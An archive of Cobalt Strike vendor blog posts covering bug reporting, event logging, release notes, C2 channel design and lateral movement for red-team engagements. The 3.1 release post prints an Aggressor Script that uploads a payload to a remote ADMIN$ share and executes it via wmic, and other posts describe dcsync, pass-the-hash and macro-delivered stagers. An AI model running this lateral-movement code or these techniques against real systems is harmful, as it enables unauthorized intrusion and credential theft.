Archive for the ‘Cobalt Strike’ Category

h1

A Quick Guide to Bug Reports

January 27, 2016

One of the hardest parts of being a developer is working with bug reports and support requests disguised as bug reports. Some people write very good bug reports. These reports give me the information I need to reproduce the problem and advise from there. Others offer a vague description of their problem with no context. These cases are tough.

Recently, I had a bug report for a hard to reproduce issue. The person who provided the bug report followed a guide I gave to Cobalt Strike 3.0’s beta testers. He provided everything the guide asked for. It was beautiful. I had the exact information I would try to get if I were sitting at his computer working the issue.

In this blog post, I’d like to share the bug report guide I gave to Cobalt Strike 3.0’s beta testers. If you need to send a bug report or request support, email [email protected]

1. Describe the problem with as much context as possible

When you report a bug [or request support], try to answer these questions:

1. What are you trying to do?
2. Which steps did you take to accomplish this?
3. What happened?
4. What did you expect?
5. Which steps did you take to troubleshoot it?

Here’s an example:

“I’m trying to use the DNS Beacon (windows/beacon_dns/reverse_http). I setup an A record for malwarec2.losenolove.com on my team server. I pointed NS records for profiles.losenolove.com and game.losenolove.com to malwarec2.losenolove.com. I’m not able to get a system in my customer’s environment to call back. I don’t know how to troubleshoot further.”

The above is useful. It gives me context about the problem the user is experiencing. In the case of the DNS Beacon, it’s pretty easy to troubleshoot with information about the beacon domains and the address of the team server. It also helps me to know if you’re seeing something in a test lab or a customer’s environment. When you report a bug, it’s better for both of us if you can reproduce it in a test lab. A test lab is better because then we can have a dialog about the factors in play. A customer’s environment is very hard. There are too many unknowns that can affect the outcome of some task

This example is also useful because it provides specifics about the user’s configuration from the get go. In the case of a C2-related question, listener information is key. If you have trouble sending a phish, a copy of your phishing template is useful too. Anything you can provide me that allows me to look at a question in my local lab is going to lead to better resolution of a question or bug report.

2. Your Environment

The next thing I need to know is information about your Cobalt Strike environment. It’s important for me to know which version of Cobalt Strike you’re using and which version of Java. Fortunately, Cobalt Strike 3.0 makes this very easy. Go to Help -> System Information. This will generate a system information summary for your Cobalt Strike client AND team server.

Over time, as I come up with more contextual factors I want to know about your Cobalt Strike client, I will update this feature to provide them.

systeminfo

3. Console Messages

Cobalt Strike 3.0 has a global class called MudgeSanity. It’s named this, because the purpose of this code is to help me keep my sanity. Cobalt Strike 3.x passes all notifications (routine), unexpected situations, and errors through this MudgeSanity class. Right now, the MudgeSanity class prints its messages to the Cobalt Strike team server console and to the console the client was started from. When you file a report or ask a question, it’s very helpful to provide all of the output of the Cobalt Strike client and team server in your initial query. Please don’t paraphrase this information. Screenshots, cellphone photos of your screen, and copy/paste are all equally fine.

messages

4. List of Threads and Stack Traces

If Cobalt Strike deadlocks [freezes, either the server or the client] OR if you notice Cobalt Strike is eating your CPU, it will help if you dump a list of all threads currently running in Cobalt Strike. This is easy to do on Linux with the kill command. Use ps waux | grep java to find the Java processes that are running. Use kill -3 [PID] to request the Java process dump a list of all threads with a detailed stacktrace for each. As a bonus, if this feature detects a deadlock, it will say so. If a deadlock occurs AND I have this information from both the team server and the client, I have a really good chance of fixing it.

threads

5. Memory Use

If your Cobalt Strike team server or client seems like it’s hogging memory, consider dumping a summary of your Java heap. The jmap tool that ships with Java makes this easy. The preferred output comes from jmap –histo:live [PID]. If this gives you an error, try: jmap –F –histo [PID]. These commands will dump a full summary of Java objects in memory. If you provide me with this information for both your team server and Cobalt Strike client—it will help me to track down memory leaks or memory-related performance issues.

jmap

 

h1

Real-Time Feed of Red Team Activity

January 13, 2016

There are several research projects to collect raw data from red team activity, process this data, and try to turn it into information. In this blog post, I’ll show you how to instrument a Cobalt Strike team server and generate a real-time feed of engagement activity.

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. Aggressor Script uses the on keyword to hook different events generated by Cobalt Strike. The * event is a special event baked into Aggressor Script. The * event fires for every Cobalt Strike event.

Here’s a simple script to hook the * event and write its arguments to the events.txt file:

on * {
	local('$handle');
	$handle = openf(">>events.txt");
	println($handle, "[EVENT] $1");
	foreach $index => $argument (subarray(@_, 1)) {
		println($handle, "[Argument $index $+ ] $argument");
	}
	closef($handle);
}

The first parameter to the * event is the event name. Each parameter after that are the fired event’s original parameters.

To load this script: save the example in events.cna. Go to View -> Script Console in Cobalt Strike. Type load /path/to/events.cna. The script is now loaded.

As new events come in, this script will append them to the events.txt file. What gets fired as a Cobalt Strike event? Everything! Input to a Beacon, by any user, is an event. Output to a Beacon is an event. New content hosted on Cobalt Strike’s web server is an event. You get the idea.

Feel free to modify this script to feed your local data collection monster.

h1

Post-Exploitation Only (Not Really)

December 9, 2015

During a recent conversation, a friend had mentioned that they saw Cobalt Strike as a post-exploitation only tool. This strikes me as a little odd. Cobalt Strike has always had all the features necessary to execute a full attack chain.

The system profiler, spear phishing tool, and user-driven attacks support a social engineering process designed to get a foothold into a modern enterprise.

The Beacon payload integrates well with the above tools. It stages over HTTP, HTTPS, and DNS TXT records. Once the payload is in memory, Beacon can download its tasks over DNS A records, DNS TXT records, HTTP, and HTTPS.

Once on a target, Beacon’s post-exploitation capability gives you seamless access to PowerShell, mimikatz, and a slew of other organic capability. These tools are enough to exfiltrate data, capture user activity, and explore options for privilege escalation.

Beacon is also quite adept at target discovery. Beacon has a port scanner that deploys to the agent as a Reflective DLL. This port scanner runs on target and reports intermediate results during each check-in. Beacon also provides organic equivalents for many net commands building on the Windows Network Management API. I also tend to favor the use of PowerView to understand large environments.

What about lateral movement? Beacon has automation for this too. The psexec, psexec_psh, winrm, and wmi commands are present. Like other Cobalt Strike features, these tools run in the Beacon agent. Don’t worry, the ability to leverage different trusts is present. Beacon can steal tokens, use credentials, pass-the-hash, and leverage Kerberos tickets.

If you’re at a loss about how this is possible, without the Metasploit Framework, take a look at this talk:

What about pivoting? Cobalt Strike can pivot too. Which option makes sense depends on your definition of pivoting. If you would like to control your Beacon agents through a foothold Beacon, you can do that. Beacon uses Windows named pipes to control Beacons through another Beacon. You can chain multiple accesses together this way without any problems. This feature is ideal for privilege escalation; you don’t have to worry about egress for the elevated session. This feature is also beautiful for lateral movement; named pipe communication is encapsulated in the SMB protocol. It blends in well. Many of my customers rave about this particular feature and how easy it is with Cobalt Strike 3.0 and later.

Chaining Beacons together is one thing, what about tunneling tools through Beacon? Cobalt Strike has you covered here too. You can use SOCKS pivoting to tunnel tools through Beacon. You can also setup reverse port forwards that ride backwards through your Beacon communication path too.

When I look at the above capability, I ask: how is this post-exploitation only? Cobalt Strike has the tools to get a foothold with a targeted phishing attack, operate through that foothold, expand access, pivot, and exfiltrate data.

Now, let’s shift the question: Where is the tool to scan for vulnerabilities in web applications? Why doesn’t Cobalt Strike import vulnerability scan results? Where are the remote memory corruption exploits to verify vulnerability scan results? Why can’t you run NMap from Cobalt Strike? Cobalt Strike doesn’t do these things. Cobalt Strike is not a toolset for vulnerability verification. It never was. It never will be.

What is Cobalt Strike for then? It’s for red team operations and adversary simulations. These services require the ability to work quietly as a remote actor in a customer’s network. This problem set and the features it requires are different from the features needed in a vulnerability verification tool.

The Advanced Threat Tactics course covers these topics in depth.

h1

Cobalt Strike 3.1 – Scripting Beacons

December 2, 2015

Cobalt Strike 3.1 is now available. This release adds a lot of polish to the 3.x codebase and addresses several items from user feedback.

Aggressor Script

Aggressor Script is the scripting engine in Cobalt Strike 3.0 and later. It allows you to extend the Cobalt Strike client with new features and automate your engagements with scripts that respond to events.

Scripting was a big focus in the Cobalt Strike 3.1 development cycle. You now have functions that map to most of Beacon’s commands. Scripts can also define new Beacon commands with the alias keyword too.

alias wmi-alt {
	local('$mydata $myexe');
	
	# check if our listener exists
	if (listener_info($3) is $null) {
		berror("Listener $3 does not exist");
		return;
	}
	
	# generate our executable artifact
	$mydata = artifact($3, "exe", true);
		
	# generate a random executable name
	$myexe  = int(rand() * 10000) . ".exe";
		
	# state what we're doing.
	btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI");
	
	# upload our executable to the target
	bupload_raw($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);
		
	# use wmic to run myexe on the target
	bshell($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");
	
	# complete staging process (for bind_pipe listeners)
	bstage($1, $2, $3);
}

This release also introduces the agscript command in Cobalt Strike’s Linux package. This command runs a headless Cobalt Strike client designed to host your scripts.

While I can’t say the scripting work is complete yet (it’s not); this release is a major step forward for Aggressor Script. You can learn more about Aggressor Script by reading its documentation.

DcSync

In August 2015, mimikatz introduced a dcsync command, authored by Benjamin Delpy and Vincent LE TOUX. This command uses Windows features for domain replication to pull the password hash for the user you specify. DcSync requires a trust relationship with the DC (e.g., a domain admin token). Think of this as a nice safe way to extract a krbtgt hash.

Cobalt Strike 3.1 integrates a mimikatz build with the dcsync functionality. Beacon also gained a dcsync command that populates the credential model with the recovered hash.

Data Munging

Cobalt Strike 3.1 introduces the ability to import hosts and services from an NMap XML file. Cobalt Strike 3.1 also gives you the ability to export credentials in a PWDump file.

Check out the release notes to see a full list of what’s new in Cobalt Strike 3.1. Licensed users may use the update program to get the latest. A 21-day Cobalt Strike trial is also available.

h1

Appropriate Covert Channels

November 24, 2015

As a product vendor, I regularly receive suggestions from my users. It’s easy to break these suggestions up into different categories. One such category would be Beacon communication channels. I get requests that ask when I will look into various protocols or third-party services as communication channels.

I see communication options as very important. But, not all channels are created equal. In this blog post, I’d like to share the rubric I use to decide if a channel is right for Beacon.

Rule #1: A native Windows API must exist

When I build a channel into Beacon, I look for channels that I can implement with the APIs Windows provides. I like Windows APIs because they give me a lot for free. Right now, Beacon uses the WinINet API for its HTTP and HTTPS channel. This API provides a simple way to make RFC compliant HTTP requests to my web server. It also pulls the proxy settings for the system and transparently handles proxy authentication for me. The more I can offload to tried and true Windows APIs, the better.

Rule #2: Staging must be possible

Implementing a channel as a Windows API has the benefit of keeping my implementation simple and small. This plays directly into my next rule: Whichever channel I implement, it must be feasible to write position-independent assembly code to stage Beacon over that same channel.

Staging is an important part of Cobalt Strike’s workflow. Most payload stages, by themselves, are too big to pair well with most attacks. The work-around is to break payload delivery up into stages. The first stage (also called the stager) connects to the attacker and downloads the second stage (also called the payload stage). The stager creates a place in memory to store the payload stage and passes execution to the stage once the download is complete.

Small stagers embed well into Cobalt Strike’s built-in attack packages. Small stagers also allow me to use a PowerShell one-liner, during lateral movement, to bootstrap a payload into memory without putting a binary on disk. One of my favorite Cobalt Strike demos is the one where I embed a DNS TXT record stager for Beacon into a Word macro.

Staging isn’t important for all payloads. Some payloads are designed to persist on disk and maintain access over a long period of time. By the time you’re ready to drop tools on disk, it’s probably safe to assume that you have some other channel to upload your persistence payload and run its installer through. For Beacon, this isn’t the case. I assume that Beacon is the payload you will use for your first foothold into a network. Because of this assumption, staging matters a great deal.

Rule #3: No third-party services

A lot of folks like to demonstrate payloads that use Gmail, Twitter, and other social media tools as a communication intermediary. Great stuff! I don’t expect that I will build features into Beacon that rely on specific third-party services.

I worry that a third-party service could change in a way that breaks my payload. As the developer of a paid and supported product, this is not a headache I want to take on.

I don’t want to be too much of a curmudgeon on this topic. Third-party service-based C2 offers a red teamer [and adversary] many benefits. A well-executed implementation will make it hard for a network monitoring staff to pick out legitimate activity from malicious activity. Some environments use reputation-based indicators to allow users unhindered access to well-known sites, but to make it harder for malware to connect to controllers on the Internet. The use of third-party services is a way to deal with this pain.

Rule #4: Must work from a user-level context, without special rights

A persistent agent has the luxury of assuming SYSTEM-level rights. An agent designed for an initial foothold and post-exploitation does not. I very much see Beacon as a stable lifeline and a post-exploitation agent. Because of this assumption, it’s important that the communication options I implement will work from a user-level context.

Rule #5: The protocol must (commonly) egress, if it can’t, it’s a peer-to-peer protocol. The server component of peer-to-peer protocols must follow these rules.

Beacon has two types of channels. It has channels meant to egress (HTTP/S and DNS) and it has a channel meant for peer-to-peer communication. If a channel cannot egress (e.g., the SMB channel) then it’s a peer-to-peer channel. Peer-to-peer channels require that Beacon hosts the server component too. In these cases, the server component must meet these criteria before I consider the channel appropriate.

A good example is ICMP. Eventually, I will probably build an ICMP channel for Beacon. It fits these rules. There’s a Windows API to send ICMP echo requests and receive the response. This is something that I could build a stager for. It doesn’t depend on a third-party service. I can use the ICMP API without special rights. And, ICMP is a protocol that’s allowed to egress some situations. ICMP passes these tests.

Keep in mind, these are the rules I use for Beacon. These rules are not applicable to all payloads and all use cases. Beacon is a user-land lifeline and a post-exploitation payload. These use cases require that I meet their needs and constraints. The design decisions for these use cases are sometimes counter to the decisions I would make for a payload built for other purposes (e.g., persistence). When you look at payloads, it’s important to think about what the payload is originally built for and to use it in those contexts. This will help you get the most from the capability.

h1

How do I psexec without an initial Beacon?

November 3, 2015

Here and there, I’m getting questions that are variants of this post’s title. The inquiry usually goes like this:

Dearest Raphael,
I do a lot of internal engagements. I don’t expect that I will always have a Beacon on target due to a phishing or client-side attack. How do I launch a psexec attack directly from the Cobalt Strike team server.

Sincerely,

uLTRA tHANG 31337, Certified Professional Cyber Tester

I love these emails. First, the inquiry has a simple answer. Second, it’s an opportunity to explain Cobalt Strike’s model of offense. If you’re used to the Metasploit Framework or another penetration testing framework, it’s a little different.

Vulnerability Verification – It’s all about Modules

Many penetration testing tools offer a pile of offensive capability as modules on the attacker’s system. You either launch these modules directly from your system OR you tunnel these modules through a remote access tool.

This model has some benefits. Namely, the attacker’s system controls the protocol stack for each way it can interact with a target. This gives the attacker full control over these interactions and this is necessary for many memory corruption scenarios.

This model is fine and has few drawbacks for an internal actor working to quickly find and demonstrate the risk of misconfigurations and vulnerable services. If you do not need to pass through border defenses and try to evade an active defender, why would you care about operating “low and slow”?

Cobalt Strike’s Model of Offense

With Cobalt Strike, I always assume that you’re a remote actor with a foothold in your target’s network. I provide tools to help get this foothold, but post exploitation and lateral movement is when Cobalt Strike becomes really interesting.

The Cobalt Strike team server has no remote attacks or built-in offensive capability [with the exception of spear phishing]. Instead, Cobalt Strike pushes all of its offensive actions down to the Beacon payload. The Beacon payload then executes these things on your behalf.

This method of offense plays well with asynchronous communication. I can push a port scanner down to a Beacon and it will run in between check ins. Each time the Beacon checks in, it will communicate intermediate results to me. There’s no need to be in constant contact with my target to perform a scan.

Cobalt Strike’s capabilities to touch targets are built on native Windows APIs and not a third-party protocol stack. If I want to spread laterally, I use Windows APIs to create an access token from the credential material on hand and run my payload on a remote target. I don’t need to worry about whether or not my third-party SMB stack supports SMB signing and this environment requires it. Things just work. I can also task an asynchronous payload to perform these actions. I don’t have to speed up my communication and tunnel a capability through my foothold.

If your goal is to evade defenses and validate an organization’s detect and respond capability, asynchronous control of your targets is table stakes.

So, how do I psexec without an initial Beacon?

Let’s revisit the original question that drove this blog post in the first place. How do you perform Cobalt Strike’s offensive actions without a foothold from a client-side attack?

If you can touch targets and have trust material, then Cobalt Strike is a fine option to start with. Run a Beacon on a red Windows system that you control. Use make_token or pth to create a Windows access token with the desired trust material. Attack the targets you want to use as your initial footholds.

The last part of the Pivoting lecture in the Advanced Threat Tactics course shows how to do this over an SSH tunnel.

h1

Connection Refused Error in Cobalt Strike

October 26, 2015

I’ve had several folks write to me asking about the Connection Refused error when they try to use Cobalt Strike. This one:

refused

Cobalt Strike 3.0 requires you to start a team server before you attempt to connect a client to it. If you connect a client to 127.0.0.1 and no server is present, you will see the error: Connection Refused. Cobalt Strike presents this error because there is no team server waiting to accept your connection.

The Starting Cobalt Strike section of the Cobalt Strike Support page discusses the process to start a Cobalt Strike team server and connect a client to it. Here’s a video as well:

This behavior is a change from previous versions of Cobalt Strike. Previously, if you tried to connect to 127.0.0.1 and nothing was listening, Cobalt Strike would prompt you and ask if it should start a server for you.

Cobalt Strike 3.1 will accompany the Connection Refused error with information describing the need for a team server and pointing users at the exact piece of documentation to look at.

improved

You’re not out of the woods yet…

Beyond starting a team server, Cobalt Strike 3.0 is a significant change over Cobalt Strike’s predecessors [hence the 3.0 version]. I recommend spending some time with 3.0’s resources to understand these changes.

The Advanced Threat Tactics course is a nine-part course on Red Team Operations and Adversary Simulations. All said, this course is nearly six hours of material! I released Advanced Threat Tactics with Cobalt Strike 3.0. I consider this material the go-to resource to become familiar with Cobalt Strike 3.0 and the process it supports.

If you’re not too into videos, that’s cool. Give the Cobalt Strike 3.0 manual a read. This manual describes Cobalt Strike’s features in depth. It’s not the Great American Novel, but it’ll do.

Finally, if you’re in a real hurry, keep the Cobalt Strike Support page open as you use the tool. This page has references for most Cobalt Strike features. At a minimum these references describe the feature and its use. Most of these reference pages have a short video demonstration too. Either way, this information is the best way to learn about what you’re immediately interested in.

Whatever your learning style, there are resources to help you get up to speed with Cobalt Strike 3.0 and later.

Follow

Get every new post delivered to your Inbox.

Join 17,845 other followers